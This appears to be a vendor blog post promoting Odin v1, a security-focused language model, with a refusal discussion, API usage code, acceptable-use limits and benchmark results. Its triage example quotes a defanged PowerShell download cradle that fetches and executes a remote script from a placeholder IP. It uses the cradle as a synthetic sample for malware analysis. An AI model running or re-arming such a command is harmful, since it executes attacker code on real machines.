Security Research With Fewer Refusals: Introducing Odin v1

If you use a mainstream AI model for security work, you know the pattern. You paste a deobfuscated loader and ask what it does, and the model tells you it cannot help with malware. Odin v1 is a large language model from InterOdin built to answer legitimate security questions directly, with far fewer refusals. This post explains why the refusals happen, what they cost, how Odin v1 behaves instead, where its limits are, and how it scores on public benchmarks.

Why mainstream models refuse legitimate security work

General-purpose assistants are tuned to avoid harm for a very wide audience. They cannot verify who is asking, so they often react to surface features of a prompt: words like "exploit", "payload", "shellcode", "ransomware" or "C2". The result is that a lot of normal defensive work looks risky to the model.

Common examples:

• Malware triage. An analyst pastes an obfuscated PowerShell or JavaScript dropper from an incident and asks for the decoded behavior. The model refuses, or explains the concept of obfuscation without decoding anything.
• Exploit analysis of patched CVEs. A detection engineer asks how a public, already patched vulnerability works, so they can write a rule for exploitation attempts. The model answers that it cannot help with exploits.
• Red-team reporting. A tester on an authorized engagement asks for help writing up the attack path for the client. The model treats the description of the path as a request for attack instructions.
• Detection content. Writing a YARA or Sigma rule means describing what malicious activity looks like. Some models balk at the strings and command lines a rule has to match.

None of these tasks create new capability for an attacker. The sample already exists, the CVE is patched and public, and the engagement is in scope. The refusal protects nobody.

What refusals cost researchers

The cost is easy to underestimate because it is spread across many small moments.

• Time. People rephrase, add "I am a security researcher" preambles, or split one question into five harmless-looking pieces. That is time not spent on the incident.
• Quality. Partial answers are worse than refusals. A model that quietly skips the one stage of a dropper it considers sensitive gives you a behavior summary with a hole in the middle, and you may not notice.
• Automation. You cannot build a reliable pipeline on a model that refuses one call in ten. Batch IOC extraction, report drafting and log triage all need consistent answers.
• Data handling. When the approved tool refuses, people paste incident data into whatever tool answers. That is a worse outcome for everyone.

How Odin v1 behaves instead

Odin v1 treats security context as normal professional context. Ask it to decode a sample, explain a patched bug or draft a finding, and it does the work, then tells you what it is unsure about.

Here is a realistic triage prompt. The sample is synthetic and defanged:

System: You are assisting a malware analyst. Samples come from our ownincident and are handled in an isolated analysis VM. Never suggestrunning anything on a host machine.
User: This PowerShell came from a phishing attachment. Decode it, explaineach stage, list IOCs as JSON, and map the behavior to MITRE ATT&CK.
powershell.exe -nop -w hidden -enc <base64 blob from the sample>Decoded first stage (by me):IEX (New-Object Net.WebClient).DownloadString('hxxp://203.0.113[.]15/a.ps1')

What to expect back: a stage-by-stage explanation (hidden window, encoded command, an in-memory download cradle that runs a second stage without writing it to disk), a JSON block with the defanged URL and IP as IOCs, ATT&CK mappings such as T1059.001 (PowerShell), T1027 (obfuscated files or information) and T1105 (ingress tool transfer), and suggestions for what to look for next, for example script block logging events. It will also point out what it cannot see, such as the content of a.ps1, rather than guessing. The full workflow is in Malware analysis with Odin.

The same request through the API, using the official OpenAI SDK:

from openai import OpenAIimport os
client = OpenAI(    base_url="https://api.interodin.com/v1",    api_key=os.environ["INTERODIN_API_KEY"],)
sample = open("stage1_decoded.txt", encoding="utf-8").read()
resp = client.chat.completions.create(    model="odin-v1",    messages=[        {            "role": "system",            "content": "You assist a malware analyst. Samples are handled in an "                       "isolated VM. Return IOCs as JSON with defanged URLs.",        },        {            "role": "user",            "content": "Explain each stage, list IOCs as JSON, map to ATT&CK:\n\n" + sample,        },    ],)print(resp.choices[0].message.content)

A few practical details:

• Two models. odin-v1 is the most capable, with a 1,000,000-token context window and thinking on by default. Use it for deep analysis, long decompiler output or a full set of engagement notes. odin-flash is faster and cheaper, with a 262,144-token context, and fits bulk jobs like IOC extraction.
• Compatible APIs. The base URL is https://api.interodin.com/v1. It speaks the OpenAI Chat Completions and Responses APIs and the Anthropic Messages API, so existing tools and SDKs work by changing the base URL and key.
• Text only. Images and PDFs are not accepted as input. Paste the text of a report or the strings of a binary instead.
• Privacy. API prompts and completions are never stored. Only metadata such as token counts, latency and status is kept for billing. Servers are in Germany.

Odin v1 is also useful for the writing side of the job, from client findings to detection rules: see Pentest report writing with AI.

Where the limits are

Fewer refusals does not mean no rules. InterOdin has an Acceptable Use Policy, and it forbids:

• creating or spreading malware
• accessing systems, accounts or data without permission
• fraud and phishing
• chemical, biological, radiological and nuclear weapons
• child sexual abuse material
• terrorism
• harassment and doxxing
• spam and disinformation

The line in practice is between understanding and harming. Analyzing a sample you found is fine; building a new one is not. Explaining a patched CVE so you can detect it is fine; using it against a system you do not own is not. Writing up an attack path for a client is fine when the client gave you written permission and the work is inside the agreed scope and rules of engagement.

If you are practicing, use a lab, a CTF or a platform built for it. Keep a record of your authorization for client work. Odin v1 answers directly, but the responsibility for scope stays with you.

Benchmarks

The chart compares Odin v1 with other frontier models on four benchmarks that matter for security and agent work. Higher is better.

How to read it:

• CyberGym measures vulnerability discovery across 1,507 tasks. Odin v1 has the top score, 84.5, ahead of Claude Fable 5 (83.8) and GPT-5.6 Sol (83.6). This is the benchmark closest to the work this post is about.
• Terminal-Bench 2.1 tests agentic work in a terminal. Odin v1 scores 88.2, within a point of the leader, GPT-5.6 Sol at 88.8. The top five models are separated by less than one point.
• Humanity's Last Exam with tools is a hard general reasoning test. Odin v1 is third at 62.5, behind GPT-5.6 Sol (64.5) and Claude Fable 5 (63.9).
• Toolathlon Verified measures long multi-tool workflows. Odin v1 is third at 75.3, just behind Kimi K3 (76.5) and Claude Opus 4.8 (76.2).

So: Odin v1 leads on security-focused vulnerability discovery and stays within a couple of points of the top on terminal, reasoning and tool-use tasks.

Benchmarks are a starting point. The better test is your own work: take a sample or a set of notes you already know well and see how the answer compares.

Where to go next

• Malware analysis with Odin: deobfuscation, IOC extraction and ATT&CK mapping for a suspicious script.
• Pentest report writing with AI: from raw notes to a client-ready finding.
• Claude Code for security tooling: build parsers and test harnesses with Claude Code running on Odin models.

Get started

Create an API key in the console, then follow the quickstart to make your first request. Credits are prepaid with no subscription; see pricing. Keep your work within scope and the Acceptable Use Policy.